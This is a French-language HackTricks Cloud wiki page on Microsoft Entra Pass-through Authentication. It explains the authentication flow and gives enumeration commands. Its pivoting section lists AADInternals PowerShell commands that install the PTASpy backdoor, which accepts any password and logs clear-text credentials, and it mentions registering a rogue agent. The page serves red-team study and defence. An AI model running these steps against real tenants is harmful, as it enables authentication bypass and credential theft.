Az - PTA - Pass-through Authentication
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Informations de base
Dans la documentation : L'authentification par passage de Microsoft Entra permet Ă vos utilisateurs de se connecter Ă la fois aux applications sur site et basĂ©es sur le cloud en utilisant les mĂȘmes mots de passe. Cette fonctionnalitĂ© offre Ă vos utilisateurs une meilleure expĂ©rience - un mot de passe de moins Ă retenir, et rĂ©duit les coĂ»ts du support informatique car vos utilisateurs sont moins susceptibles d'oublier comment se connecter. Lorsque les utilisateurs se connectent en utilisant Microsoft Entra ID, cette fonctionnalitĂ© valide les mots de passe des utilisateurs directement contre votre Active Directory sur site.
Dans PTA, les identités sont synchronisées mais les mots de passe ne le sont pas comme dans PHS.
L'authentification est validée dans l'AD sur site et la communication avec le cloud est effectuée par un agent d'authentification fonctionnant sur un serveur sur site (il n'est pas nécessaire qu'il soit sur le DC sur site).
Flux d'authentification
.png)
- Pour se connecter, l'utilisateur est redirigĂ© vers Azure AD, oĂč il envoie le nom d'utilisateur et le mot de passe
- Les identifiants sont chiffrés et placés dans une file d'attente dans Azure AD
- L'agent d'authentification sur site récupÚre les identifiants de la file d'attente et les déchiffre. Cet agent est appelé "agent d'authentification par passage" ou agent PTA.
- L'agent valide les identifiants contre l'AD sur site et envoie la réponse de retour à Azure AD qui, si la réponse est positive, termine la connexion de l'utilisateur.
warning
Si un attaquant compromet le PTA, il peut voir tous les identifiants de la file d'attente (en texte clair).
Il peut également valider n'importe quels identifiants auprÚs d'AzureAD (attaque similaire à la clé skeleton).
ĂnumĂ©ration
Depuis Entra ID :
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
Vérifiez si l'agent s'exécute sur le serveur local :
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
Si vous avez un accÚs admin au serveur Azure AD Connect avec l'agent PTA en cours d'exécution, vous pouvez utiliser le module AADInternals pour insérer une porte dérobée qui validera TOUS les mots de passe introduits (donc tous les mots de passe seront valides pour l'authentification) :
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
note
Si l'installation échoue, cela est probablement dû à l'absence des Microsoft Visual C++ 2015 Redistributables.
Ce backdoor va :
- Créer un dossier caché
C:\PTASpy
- Copier un
PTASpy.dll
dansC:\PTASpy
- Injecter
PTASpy.dll
dans le processusAzureADConnectAuthenticationAgentService
note
Lorsque le service AzureADConnectAuthenticationAgent est redĂ©marrĂ©, PTASpy est âdĂ©chargĂ©â et doit ĂȘtre rĂ©installĂ©.
caution
AprÚs avoir obtenu des privileges GA sur le cloud, il est possible de enregistrer un nouvel agent PTA et de répéter les étapes précédentes pour s'authentifier en utilisant n'importe quel mot de passe et également, obtenir les mots de passe en clair.
Seamless SSO
Il est possible d'utiliser Seamless SSO avec PTA, qui est vulnérable à d'autres abus. Vérifiez-le dans :
Références
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.